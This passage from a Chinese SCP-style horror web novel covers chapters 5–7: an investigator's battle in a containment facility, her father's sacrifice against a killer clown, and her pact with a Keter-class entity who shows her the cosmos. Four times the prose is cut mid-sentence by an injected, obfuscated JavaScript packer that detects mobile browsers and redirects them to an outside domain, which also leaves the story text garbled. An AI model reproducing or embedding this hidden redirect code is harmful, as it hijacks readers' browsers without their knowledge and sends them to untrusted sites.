只见那原本坚硬的墙壁开始变得如湿润的泥土般柔软,鼓起了一个又一个的“脓包”。 脓包的表面分布着血管般的黑色纹路,微微地搏动着,“噗嗤”一声,第一个脓包破了。 一个蜷缩着的黑色人体缓缓呈现,身上覆盖着一层潮湿、油亮的黑色黏膜,慢慢从墙壁里脱离出来,吧嗒一声掉落在地上。 然后,它缓缓地直起了畸形的身体。 它的脸上没有可见的鼻梁与瞳孔,眼窝处是两块白色无瞳的眼斑,被两枚用人类指骨打磨成的尖锐骨头死死钉穿。它的嘴巴极宽,裂到了面颊两侧,里面没有牙齿,只有一条长长的舌头伸出甩动着。 紧接着,更多的脓包破裂,越来越多的血肉信徒落在了地上,如同一颗颗炮弹一般,朝着离它们最近的调查员猛扑过去。 血肉信徒是暗之住民教派用秘法制作的怪物,没有视物能力和语言能力,但具备极其灵敏的听力。调查局一直有人猜测它们是用普通人类转化来的,但没有实质性的证据。 灰港分局曾多次与暗之住民交锋,经常碰到这类怪物,但往往数量不多。没想到,这次竟然来了这么多! 虽然安弥不是第一次见到这种怪物了,再次见到还是觉得又令人作呕、又毛骨悚然。 “三队!布置照明弹、燃烧.弹!”托马斯咆哮着,“一二两队!随我来,让这些杂种们尝尝我们的炼金子弹!” 哒哒哒哒哒!他手持重型机枪,子弹所到之处,血肉信徒连惨叫都来不及,便片片倒下。 安弥冷静地站在原地,手持一把银白色的炼金左轮,定睛观察血肉信徒的动向。 砰!砰砰! 一颗颗闪烁着净化符文的水银弹头精准地穿透冲上来的血肉信徒的眉心,怪物应声倒下,根本近不了她的身。 安弥双眉紧蹙,她始终有一种冰冷的违和感。 不对。 一定有哪里不对。 这些地面上的怪物,虽然数量众多,但它们太弱了,仿佛是为了吸引这些主力战斗人员的注意力而故意放出来的炮灰。 等等!安弥猛地想起安培风的部署,他要去地下第五层!地下一定发生了什么! 她本想提醒托马斯,但地面上的血肉信徒太多了,托马斯和灰港的调查员们根本无暇分心,于是直接自己蹭蹭下了楼。 一进入地下二层,安弥的瞳孔骤然收缩——地下二层不仅有血肉信徒,还有比血肉信徒更可怕的怪物——他们通体漆黑,但不是血肉信徒那种柔软的黑色黏膜,而是如甲壳般的无机质。这些甲壳表面布满了裂痕,里面透出如同岩浆般缓慢流淌的猩红物质。 夜吼者! 这是安弥第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536758|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到夜吼者,之前她只是听安培风培训的时候讲过。 不同于血肉信徒,夜吼者是一种防御、力量、敏捷都非常高的怪物,分为多个亚种,不同的亚种之间往往还有配合: 有身材高大健硕的装者,他们的甲壳极厚,能承受重火力,往往作为盾兵抵御在最前线; 有手臂异化成利爪的撕裂者,身形均衡,攻守兼备,数量众多,是最常见的夜吼者战士; 有手臂异化成骨刃的行刺者,动作迅捷,一击即走,非常难缠,这种数量没有撕裂者多,却是最容易造成调查员们减员的刺客; 还有整个头部都异化成共鸣腔的尖啸者,能够发出让意志不坚的普通人精神崩溃的嘶鸣,这种数量最少,但一旦出现,必须用最快速度解决。 但安培风说过,夜吼者只在新阿尔比恩才会偶尔出没,即便出没数量往往也不多,它们为什么会出现在这里?还一下出现了这么多? 好在维克多他们作为来自新阿尔比恩的精英小队,有跟夜吼者战斗的经验。 只见一个高大的调查员手持重型炼金盾牌,顶在最前方,与一位重装者正在相持不下,维克多和另外一个调查员则利用盾牌的掩护进行精准点射,他们的子弹似乎是特制的,能专门针对夜吼者的甲壳弱点。 最后一人则不断投掷出一种会发出刺目白光的炼金照明弹。和血肉信徒类似,强光也能扰乱夜吼者的行动。 安弥一出现,便迅速找到掩体伺机射击,但很快就有夜吼者发现了她。 当她连开两枪快速解决掉前面的一只撕裂者时,已经来不及对付从后方扑上来的行刺者了。 她惊出一身冷汗,只听得砰地一声,那只行刺者中枪,巨大的冲力将它冲击了出去。 安弥趁机迅速往前翻滚,避开了掉落的行刺者尸体,又惊又喜地喊了声:“爸爸!” 来者正是安培风。只见他手持一把巨大的转轮重枪,每一发子弹都像一记重锤,迅猛的火力一击就能将一只夜吼者轰飞,“安弥,过来!” 安弥迅速来到安培风身边,与他背对背一起对付夜吼者们。 安培风和安弥的加入缓解了维克多他们的压力。安培风一边射击一边对维克多吼道:“他们的目标,恐怕是那个!必须在这里建立防线,阻止它们继续深入!” 维克多瞬间明白过来,大声道:“这里交给我们!你快去关门!” 安培风点头,开始边射击边往通往五层的闸门方向移动。安弥与安培风并肩作战,父女俩配合无间。 然而,就在他们快要接近五层闸门时,几只行动异常敏捷的夜吼者竟然沿着天花板的管道,绕过了防线,直接冲向了通往五层的闸门内部! “不好!”安培风脸色一变,立刻追了过去。安弥毫不犹豫,紧随其后。 就在他们两人冲进第五层通道的瞬间,身后那扇厚重的、由精钢铸造的闸门发出了令人牙酸的吱呀声,轰然落下。 5. 欢迎加入守夜人的行列 地下五层的闸门重重落下。 好在暗之住民黑暗协议的范围有限,地下五层没有受到影响,走廊里的灯光还亮着。 这是安弥第一次来到地下五层。这里的墙壁由黄铜和黑曜石铸成,空气中弥漫着煤灰、铁锈、血腥的味道。 闸门的落下并不在安培风的预期之中,这让他不由得心头一跳,但眼下顾及不了这么多,要先追击已经逃进收容井深处的夜吼者。 安培风对着安弥轻点了下头:“继续追击,左边交给你!” “是!”安弥大声答道,一手持枪,一手摸上了自己的武装带。 这是一场属于父女的、配合无间的战斗。 安弥利用通道狭窄的地形,用炼金手雷限制夜吼者的走位,再用精准的射击攻击它们的关节。 安培风则正面迎敌,用绝对的力量将怪物阻挡、撕碎。 当最后一只夜吼者倒下时,通道里只剩下两人粗重的喘息声。 两人靠在冰冷的黄铜与黑曜石铸成的墙壁上稍作休息,安培风从怀里掏出了一枚闪烁着银色光辉的RBAP徽章,递到了安弥的手里。 “安弥调查员,”他的声音里带着一丝疲惫,但更多的是无法掩饰的骄傲,“欢迎正式加入‘守夜人’的行列。” 安弥接过那枚还带着安培风体温的徽章,紧紧攥在手心,坚定地点点头:“谢谢爸爸。” 短暂的温情之后,安培风的思维又回到了战局,“不能大意,我们得去查看一下深红变异源的情况。维克多他们刚把它护送过来,暗之住民就发动了总攻,恐怕他们的目标就是这个!” 说罢,父女俩立刻动身,朝着地下六层安置深红变异源的区域冲去。 然而,他们还是晚了一步。 收容室的门已经被暴力破坏了。他们赶到的时候,房间的中央,站着一个“人”。他穿着得体的黑色燕尾服,身形修长,只是裸露在外的却不是人类的皮肤,而是光滑的、如同黑曜石般的甲壳。 他的一只手已经变成了狰狞的利爪,爪子上正抓着一个不断搏动、散发着微光的血色心脏——正是维克多他们护送来的深红变异源。 这个高级的、拥有人类形态的夜吼者,对着他们优雅地鞠了一躬,身影便以鬼魅般的姿态,闪出了门外。 安培风迅速追击了出去,安弥正要跟上,却听见静谧的房间里,发出了一声“吱呀”的响声。 安弥猛地回头,发现房间之前放置深红变异源的地方,一个玩具箱子的盖子正在缓缓打开。 一个穿着小丑服的陶瓷人偶慢悠悠地坐了起来。它的身体如孩童般大小,由光滑的陶瓷构成,脸上被厚厚的、惨白如骨殖的油彩覆盖,用猩红的油彩画出了极其夸张的笑容,嘴角几乎咧到了耳根。 最让人不寒而栗的是它的眼睛,没有眼白和瞳孔之分,只有两个深不见底的漆黑眼洞,眼角有一行用猩红颜料画出的泪痕。 它歪了歪头,陶瓷关节发出“咔咔”的声响,然后猛然将头扭过90度,那双漆黑的眼洞瞬间锁定了站在几米外的安弥。 安弥大惊,倒退了一步,下意识拔枪开始朝它射击。然而,子弹打在它陶瓷的身体上,发出清脆的声响,却紧接着掉在了地上,对它毫无影响。 小丑张开了它那道夸张的血盆大口,发出了一阵能撕裂灵魂般的大笑,然后用一种热情洋溢到令人毛骨悚然的语调高声宣布:“欢迎参观马戏团!请收下你的入场券吧!” 话音刚落,它的身影便瞬间消失,瞬移到了安弥面前,伸出陶瓷手掌抓向了她。 安弥根本来不及反应。 就在这千钧一发之际,安弥整个人被人猛地推了出去。 是去而复返的安培风。 安培风就着推出安弥的力道往前顺势一滚,转头向着哭泣小丑勾了勾手指,“来,我来陪你玩。” 小丑扭头,看向安培风,咧嘴大笑:“欢迎参观马戏团!请收下你的入场券吧!” 说罢向着安培风的方向瞬移了过去。 安培风又是一个翻滚,堪堪躲开了小丑的一击。 “啊啊啊!——为什么要拒绝我!!!”小丑勃然大怒,整个身体暴涨,迅速膨胀成了一个身高两米的庞然大物,开始以鬼魅般的连续闪现攻击安培风,逼得安培风连连闪躲。 安培风瞅准一个空档,迅速朝着安弥的方向丢出了什么物件,冲着安弥大喊:“去七层!找纪元!” 安弥接过物件,连看都没看,朝着安培风撕心裂肺地大喊:“爸爸!” “快走!”小丑的攻击越来越快,安培风只顾得上喊出这一句,便自顾不暇了。 安弥知道自己在场只会让安培风分心,便迅速地跑了出去。 安培风看着安弥离开,松了一口气。 他其实并不知道,自己让安弥去找灰港地下最深处的那个Keter级收容物是不是一个正确的决策。 他只是在赌。「纪元」虽然是Keter级收容物,但他并不嗜杀,他的恐怖是概念性的,而且最重要的,他是可以交流的。 十多年前,他是亲眼看着安弥以一种何等奇异的现象降临这个世界的。鬼使神差的,这件事情他没有告诉过任何人。 灰港分部的人们都以为她只是一个普普通通的失忆小女孩,但他知道她不是。 而且,更重要的是,在她来之前,灰港分局的氛围是低迷压抑的,他一度怀疑过自己带亚瑟来灰港是不是个正确的决定。但自从安弥到来,所有人都变得积极阳光了起来。 他不认为这是一个巧合,因为她是唯一的变量。 她一定是一种很特殊的存在。 所以,如果是她的话,也许能在灰港地底那个虽然脾气古怪、但尚能交流的恐怖收容物面前,博得一丝生机。 而面前的这个小丑,他认识。这是他还在新阿尔比恩就职的时候失窃的一件Euclid级收容物——马戏团的巴克尔,没想到竟然出现在了这里。 它在被玩具箱封存的状态下是无害的,但一旦被开启,就会把所有在场的人拖进他的噩梦领域,目前已知的所有物理攻击和法术攻击都对它无效,这远不是他们父女二人能对付的。 那么,就让他来一个人面对吧。 —— 安弥泪眼朦胧地往前狂奔。她知道安培风在给她争取最后的生机。 身后的声音渐渐消失了,她的眼泪终于大颗大颗地掉了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536759|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 安培风给她的是拥有最高权限、能打开灰港深处那个最恐怖的人形收容物大门的黑曜石印章。 一进七层,她前进的速度就慢了下来。她用手指把自己的泪水揩干净,又用手心用力地压了压自己的眼睛,拍了拍自己的脸颊。 灰港分局虽然不大,但它是开国元勋奥古斯都·卡文迪许在创立RBAP之处就成立的分部。它最初的目的只有一个——镇压眼前这个远从埃及运送而来的人形收容物纪元。 他不是能用火力摧毁的怪物,也不是能靠符文囚禁的幽灵,而是某种概念上的存在。他的攻击方式更接近一种精神的瘟疫,无论一个人意志多强,只要与其对视、甚至只是听到他的声音,就可能变成一个全无理智的废人。 所以安弥绝不能在自己心神大恸的时候打开这扇门。她必须保持冷静。 安弥深呼吸了三次,眼神重新变得坚定。 她不能浪费安培风的良苦用心,这是安培风牺牲自己才为她博得的机会,她一定会把握住,也一定会活下去。 眼前的巨门冷峻无声,上方镶嵌着一块黄铜铭牌: 项目编号:ALB-G-001 项目等级:Keter 项目代号:「纪元」 安弥抬起手,因为之前握着印章的手太过用力,手心已经被压出了红色的压痕。 她的手微微颤抖,将黑曜石印章按入大门中央的凹槽,巨大的圆形阀门随之缓缓松动。 “嘎——吱——”厚重的金属摩擦声让她牙关发酸。 巨门缓缓裂开一条缝。 出乎意料的,门后没有恐怖的尖啸,也没有扑面而来的疯狂,只有一片深不见底的黑暗,仿佛能吞噬一切光线。 黑暗中传来了一股古老、清冷的气息,带着淡淡的檀香与古墨味。 安弥打起十二分精神准备应对接下来可能发生的一切,掏出手枪侧身走了进去。 片刻死寂,随即,一个温润的男子的声音沉沉响起:“……一位……访客?” 他的声音低沉动听,却像一把冰冷的钥匙,瞬间插入安弥的脑海深处,让安弥汗毛都竖了起来。 随着他的声音落下,整个房间昏黄的灯光亮起,安弥看清了以前的一切。 光源来自一盏古老的纸灯笼。 灯笼下,一个男人静静地坐在梨花木椅上。他的身上没有锁链,没有符文,周围空旷,仿佛一间古色古香的书房。 男子身着黑色的东方古代长衫,黑发以木簪束起,容貌俊美无俦,一张白皙的面孔如同最完美的玉雕,漆黑的瞳孔仿佛能吸纳一切光线。 他带着一种非人的平静,静静地看着安弥。那双如同古老幽潭般的眼睛,没有愤怒,没有好奇,只有能映照出所有恐惧与秘密的虚无:“告诉我,美丽的小姐,你的名字是什么?” 安弥顿了顿,把自己的枪放了下来,努力使自己的声音显得平稳、冷静:“你好,纪元。我是安弥,是RBAP灰港分局的调查员。” “安弥,我喜欢这个名字。”纪元慢慢地重复了一遍她的名字,仿佛在品咂其中的味道,“那么告诉我,是什么样的绝望,让你主动走进一个怪物的牢笼呢?” 6. 收容物纪元 “是什么样的绝望,让你主动走进一个怪物的牢笼呢?” 男子的声音低沉动听,宛若古琴弦动,但其中蕴含的探究和玩味,却让安弥的心脏像是被古琴的琴弦紧紧缠上,让她的呼吸都变得艰难了起来。 她很想拔腿就跑,但很明显,那是一种无比愚蠢的行为。 于是,她努力斟酌着措辞:“纪元,你不是怪物,外面那些会毫不犹豫将人吞噬的,才是怪物。你只是一种特殊存在的人类。” 男人安静地听着,那双虚无的眼眸,仿佛一眼洞穿了她镇定外壳下的颤抖与悲伤,让安弥暗暗心惊。 直到最后那句话音落下,纪元的表情终于发生了变化。 他的嘴角噙了一丝玩味的笑意,微微眯起了眼睛,长而密的睫毛在他苍白的脸颊上投下了小片的阴影,使得那笑容显得更加深邃难测,“特殊、存在的、人类?” 他低声重复,语调像是在咀嚼某种新奇的词汇。 然后,安弥听到了他的笑声。 那笑声清越低沉,说不出的动听,然而回荡在这狭小的诡异的空间里,安弥却只听得心底泛起阵阵刺骨的寒意。 “调查员小姐,你真是出乎我的意料。” 他从梨花木椅上缓缓起身,开始在房间内慢慢地踱步,宽大的黑色长衫下摆如流水般拂过地面,却没有发出丝毫声响,脚步轻盈得仿佛踩在虚空之上。 “据我所知,上一次有人对我做出类似评价,还是在——”他缓缓走近了安弥,脸凑得离她的脸很近,他俊美得近乎妖异的脸孔在她的眼前放大,每一个细节都清晰得让她心慌。带着凉意与古檀气息的呼吸,若有似无地打在了她的脸上,“——四十七年前。后来,他疯了。他坚称自己在镜子里看到了宇宙的尽头。” 安弥的后背已是冷汗涔涔,单薄的制服紧紧贴在她的皮肤上,带来一阵黏腻的冰冷。 好在,纪元接着直起了身子,他的脸与安弥拉开了距离。 他的声音带着残忍的戏谑继续道,“然后,他就用自己的头,把镜子和他自己一起撞碎了。” 他站在安弥面前,高出她将近一个头,高大挺拔的身体在昏黄的灯光下投下了巨大的阴影,将安弥完全笼罩其中,形成了巨大的压迫感。 他垂眸俯视看着她,语调轻柔,仿佛情人的耳语:“而你,我亲爱的调查员小姐,你比他更大胆。你不但认为我不是怪物,甚至——” 他伸出一直骨节分明、美得不似凡物的手,轻轻点了点安弥的太阳穴,“你还在绞尽脑汁地用你那可怜的理性,去疯狂地思考,要如何利用我,带你从这个已经变成了怪物乐园的地方逃出去,对吗?” 说罢,他冰凉的手落在了她的脸上,动作轻柔地为她揩去了早已被她擦干,现在已经不存在了的泪水,然后顺着她的脸颊滑到了她的下巴,才把手放了下来。 他的手掌触感如同万年寒玉,那股冰凉的寒意仿佛能穿透她的肌肤直达灵魂,令她浑身血液都仿佛凝结,动弹不得。 “我可以帮你,”他看着她僵在原地一时失语的样子,嘴角微微弯起,笑意深不可测,“我可以带你毫发无伤地走出这片怪物乐园。” 然后,他的声音骤然一转,低沉如恶魔低语:“但是,作为交换,我需要你,为我做一件事。” 纪元那双虚无的眼睛,牢牢锁定了她,缓缓地吐出了他的条件:“我需要你,把你那引以为傲的理性,送给我。让我尝尝,它究竟是什么味道。” 安弥心跳急促得如同擂鼓,太阳穴突突地跳着,强迫自己保持冷静。 她不动声色地深吸了一口气,让自己的声音尽可能听起来坚定:“我没办法把我的理性送给你。失去宿主的理性会瞬间死去,你是尝不到它的味道的,纪元。” 纪元怔了怔。然后,他笑了。 不同于之前疏离冷淡、充满玩味的微笑,这是一次真正发自内心的大笑,仿佛听到了一个巨大的笑话。 “哈哈……哈哈哈哈……” 他的笑声在空旷的房间里回荡,宛如无形的洪流,冲撞着房间的四壁,连那盏灯笼里的光晕都随之摇曳跳动,震得安弥耳膜生疼。 那声音里既有极致的愉悦,又带着令人心底发寒的魔力。 “失去宿主的理性会瞬间死去?”他伸出食指轻轻摇了摇,眼底闪过一丝近乎怜悯的光,“我亲爱的调查员小姐,你可真是太可爱了。” 他踱步绕到了她身后。安弥全身肌肉瞬间紧绷到了极点,她能清晰地感受到那道落在她后颈上的冰冷的视线,让她觉得自己仿佛是一只被掠食者盯上的猎物,连呼吸都变得困难了起来。 “你以为,理性是你与生俱来的东西吗?” “你以为,那只是你大脑里某个叫‘逻辑中枢’的器官分泌出的化学物质吗?” 他的声音幽幽,从她耳畔传来。 “不,不,不。” 安弥后颈一凉,一股寒意顺着脊背窜上脑海。 “理性,它不是你的所有物。” “它甚至,不是真实的存在。” 纪元的语调缓慢而笃定,像在揭示某个残酷真相: “理性,是枷锁。” “它由规则、逻辑、常识、道德编织而成——一副看不见,却又无比坚固的锁链。” “它将你们这些渺小又可怜的人类,牢牢困死在一个你们自己构建的、狭隘可笑的笼子里。而你们却骄傲地称这个笼子为——真实。” 安弥不自觉地攥紧了自己的手指,指节因为过于用力而泛白,指甲深深掐得掌心,她却浑然不觉。 “而我,”纪元的声音骤然低沉,带着一种蛊惑人心的诱惑力,“可以帮你,解开它。” 纪元重新走到她的面前,俯下身,冰冷的指尖忽然搭在了她的肩膀上,呼吸拂过她的颈侧,像情人低语般亲密,吐出的话语却无比危险:“这个世界太无聊了,我已经很久很久没有尝到有趣的东西了。” “而你,我亲爱的调查员小姐,你那看似坚固的、无懈可击的理性,就是我现在最想品尝的甜点。” 他手上的力道稍稍加重,像要将她牢牢按入他的掌心。 “所以,你现在,只有两个选择。” 他直起身,眼神冰冷而平静,如同审判。 “要么,现在就转身,走出去,被外面的怪物撕成一地毫无意义的碎肉。” “要么,留下来,将你的枷锁,作为祭品献给我、取悦我。” “然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536760|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,我会带着你,去见识一个你从未见过的、真正的、广阔无垠的——” 他的眼神骤然亮起,话语里掺进了一丝难以名状的癫狂,“——真实世界。” 纪元伸手做出一个邀请的姿势,目光沉沉:“选吧,我亲爱的调查员小姐。你犹豫的每一秒,都在消耗你所剩无几的时间。” 安弥的大脑开始疯狂地运转:如果出去,只有死路一条,而如果将自己的理性送给眼前这比怪物更可怕的不可名状的存在,那跟死去又有什么两样?这根本就是为难人吧! “你的思考很有道理,我亲爱的调查员小姐。”纪元笑了起来,“是我疏忽了。” 安弥猛然瞪大了眼睛,一股寒意瞬间从头顶灌到了脚底——他竟然能读取到她脑内的思考? 她正要开口询问,却被纪元竖起一根手指,轻轻抵在了她的嘴巴上,“嘘,我当然能读取到你脑内的每一缕思绪。从一进门开始,你那些可爱的、强装镇定的心理活动,就已经在我的面前展露无疑了。” “不过放心,你很有趣,我对你更感兴趣了。所以,我现在可以给你一个机会。” “一个让你从毫无意义的死亡,转向一场有趣的灵魂实验的机会。” “我将直接带你去见识这个世界的真实。如果你能在这个世界的真实面前,还能保留你的理智,那么,我将会把你安然无恙地送回地面。” 说罢,纪元深深地吸了一口气,仿佛已经预见到了那令他无比愉悦的场景,唇角挂着的笑意带着病态的期待,“而如果,你那美丽的理性在这个世界的绝对真实面前彻底崩溃,那它自然就会成为我最完美的甜点。” “怎么样,这个新的赌约,是不是听起来,公平多了?” 安弥定定地看着他,目光扫过他那非人的俊美面容,扫过那深不见底的漆黑眼眸,最终所有的挣扎都化作了破釜沉舟的勇气。她深吸了一口气,点了点头:“成交。” 纪元笑了,“明智的选择。那么,我亲爱的调查员小姐,从这一刻起,我们的契约,正式成立。” 就在这时,外面走廊的远处,响起了一个突兀的声音,瞬间划破了此地静谧诡异的氛围:“欢迎参观马戏团!请收下你的入场券吧!” 下一秒,小丑那形容可怖、膨胀变形的巨大身体,就随着一阵扭曲空间的波动,赫然出现在了门口。 安弥大惊,下意识地向着纪元的方向后退了一步。 纪元皱起了眉头,脸上浮起一丝不悦,“太吵了,呱噪的蠢物。” 说罢,便抬起右手,朝着小丑的方向轻轻一弹指。 安弥什么都没有看到,什么也没有听到,就见小丑的身体轰然倒下,扭曲折叠为了亿万点黑色的光屑,彻底湮灭在了空气中。原地只剩下了空旷冰冷的走廊,那恐怖的收容物仿佛从未出现过。 安弥的瞳孔骤然收缩到了极点。那个在她认知中最强大的父亲安培风都无法对抗的恐怖存在,竟然就这么在他的弹指间……没了? “我们可以出发了吗,亲爱的调查员小姐?”纪元清冷的声音幽幽响起,打断了她的思绪。 安弥猛地回过神来,只见纪元微笑着朝着她伸出了手,掌心向上,像是在邀请她加入一场命运的舞蹈。 7. 宇宙背面 安弥垂下眼睫,思考片刻后,她还是将自己细微颤抖的手,轻轻地放入了纪元的掌心。 她能清晰地感觉到那只手温润微凉,触感如同一块上好的古玉。 纪元的嘴角,悄然勾起了一抹几不可察的弧度。 他并未立即带她离开,而是缓缓地收紧指尖,将她的手牢牢包裹在掌心之中,然后拉着她,一步步往门口走去。 安弥正好奇他要带她去哪里,结果就在他们踏出房间门口的那一刻,整个世界瞬间扭曲变形,由黄铜与黑曜石铸成的走廊变成了古老而冰冷的石砌甬道。 厚重古老的黑色岩石,带着尘埃与未知矿石的气息,仿佛数千年来没有任何生者踏足。 “既然你已经做出了选择,”纪元的声音在空旷走廊中幽幽回响,像是从四面八方同时传来,“那么,抓紧我的手。” 他顿了顿,语调里带着不容置疑的冷冽与诱惑:“因为接下来你将会看到的东西,可能会让你,把你这二十几年来所学到的所有知识、逻辑与常识,都彻底忘得一干二净。” 走廊深处传来轻微的轰鸣,仿佛古老的心脏正在缓缓苏醒。 往前走了一段路程,安弥的眼睛逐渐适应了黑暗,发现石壁的两侧上绘制着的是巨大的浮雕。 随着他们的前行,其上的浮雕也在以一种充满了过程感的方式,动态地演化着。 在甬道的起点,石壁上只有两种力量在交织碰撞。 一边是无数向外生长、绽放的线条。它们时而像植物的藤蔓,时而像动物的骨骼,时而又像星云的旋臂,充满了无限的、向外扩张的创造之力。 另一边,则是一片深邃无垠的暗影。它静默、虚无,像一张能吞噬一切光线的画布,为那些恣意生长的线条,提供了背景与最终的边界。 安弥看不懂这代表着什么,但她能清晰地感觉到,看到这些时那种源自灵魂深处的、无法言说的战栗。 纪元也陷入了沉默。他下意识地停下了脚步,伸手触碰那些那些延展的线条。他那双漆黑如幽潭的眼眸里,竟充满了前所未有的困惑与迷茫,又产生了一丝连他自己都说不清道不明的熟稔和怀念。 他们继续向前。 石壁上的画面,开始发生奇妙的变化。 在那些线条与暗影的交织中,出现了第一个凝聚成型的形象。那是一具巨大的骸骨轮廓,由无数的线条缠绕构建而成,而那一片片深沉的暗影,则被捕获填充进了骸骨的缝隙中,化作了一颗颗缓慢转动的、如同星云般的巨大眼球。 他们又往前走了几步,又看到了另一个形象在他们眼前展开。 无数的线条构筑的粗壮藤蔓拔地而起,构筑成一条条巨树枝干,更广阔的虚无空间在其上延展,化作承载一个个星球的天穹。 他们沉默着一路前行,一个又一个形态各异、不可名状的形象被那些线条和阴影一点点地孕育塑造、赋予形态。 终于,他们来到了甬道的尽头。石壁上雕刻的,之前那些所有诞生的形象,正共同向着那片还在不断创造与显化的线条与暗影匍匐叩拜。 “这才是宇宙的真实。哪怕整个人类世界,不过是在神明餐厅之上一个小小的孔洞,”纪元的声音在耳畔响了起来,“现在告诉我,我亲爱的调查员小姐,你所认知的那蜉蝣般的真实,是什么?你所认知的人类,你自己的人生、你的理性,又是什么?” 安弥的瞳孔骤然收紧。 她陷入了沉思。最终她把手放在了自己的胸前,感受自己手掌下心脏的跳动,轻声道:“这就是我所谓的真实。我管不了那些至高的存在,心之所向,便是真实。” 话音落下,甬道陷入了死寂。 时间仿佛停滞。只有浮雕中那庞大而无法名状的存在,依旧以凝固的姿态俯视着芸芸众生。 纪元静静看着眼前的女孩。此刻的她正仰着头,认真地看着眼前她根本无从理解的景象。 他那漆黑如幽潭般的眼睛,第一次清晰而专注地倒映出了她的身影。 他低声重复着她的话,仿佛在认真思索其中的哲理,“心之所向,便是真实。” 良久,纪元才发出一声极轻的笑,“令人感动。” “既然你已经看到了这个宇宙的投影,还能保持你的理智,那么,我就带你去亲眼看一看宇宙的真实,究竟是什么样子的吧。” 说罢,便重新牵起了她的手,转身继续向那条古老甬道更深处的黑暗走去。 随着他们的前进,脚下原本平整坚硬的黑色岩石,逐渐变得通透,逐渐和周围的石壁一起,变成了无尽的、绝对寂静的虚空。 虚空中流淌着亿万点星辰,如同奔涌的河流,闪烁着冷冽的光辉。 她与纪元,就像两粒漂浮在风中的尘埃,正踏在一条横跨宇宙的星河栈道上。 在这无尽的虚空当中,静静地漂浮着无数庞大的、无法名状的存在。 有的,像巨大的骸骨,却长满了无数眼睛,每一颗眼睛都是燃烧着的恒星; 有的,像一株扎根虚空、枝桠间结满各个星系的巨树; 有的,则是由扭曲而矛盾的几何图形拼合而成的无声乐章…… 安弥屏住了呼吸。 她认出了那些存在,正是之前浮雕所描绘的神明。 她从未如此深刻地意识到自己如此渺小过。 纪元的声音在绝对的寂静里轻轻响起。 他并未转头看她。 他的目光平静而淡漠,落在眼前这幅足以颠覆任何文明认知的画卷上。 “这里,才是宇宙的真实。” “这里是宇宙的背面。” “是所有现实与梦境的起点,也是终点。” “是神明的栖居与沉眠之所。” 纪元缓缓转头。那双眼睛,倒映着亿万星辰,静静地凝视着安弥。 安弥的眼睛震颤着。 眼前的一切,疯狂、亵渎、浩渺、瑰丽、神秘到极致,任何语言都不足以描绘这幅画卷的万分之一。 她本应保持冷静,可逻辑和理性在此刻彻底失效,她的心在竭力维系着最后一丝清明。 最终,她放弃了寻找精妙的言语去描述眼前的一切,轻声吐出了心底最纯粹的感受:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536761|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这……太美了。” 纪元怔住了。 他的双眼见证过亿万星辰的燃尽与湮灭,目睹过无数神明的沉眠与苏醒,本该永远平静无波。 然而此刻,却因为一句简单朴素的赞美,第一次出现了一种类似于困惑的裂痕,骤然收缩了一瞬。 “……美?”他低声呢喃,仿佛第一次真正去咀嚼这个词汇。 眼前少女的双眸,清澈得如同初生的泉水。那双眼睛从神明之所的疯狂与混乱中,看见了瑰丽与浩渺。 他微微疑惑地歪了下头,声音第一次带上了不确定,连他自己都觉得陌生:“……原来,这个样子,就是美吗?” 他似乎明白了,明白为什么他在漫长的生命中会觉得无聊了。 在他的眼中,这片宇宙冰冷、死寂,只有存在,没有意义,没有美。 ……不,不是没有美,而是没有一个能够清晰地告诉他什么是美的定义者。 他垂眸凝视着她。 然后,在这横跨星河的虚空之上,在这宇宙神明的栖居之所,纪元缓缓俯下身,以一种研究般的、近乎神圣的好奇,将他微凉的、如同蕴含着整个宇宙的冰冷与寂静的唇,印在了她的唇上。 安弥的注意力还沉浸在眼前的浩瀚里。她的目光在无尽的虚空中流连,为眼前这超出她的所有言辞、所有想象的瑰丽景象而惊叹。 直到一股微凉、陌生的触感,轻轻覆上了她的唇瓣。 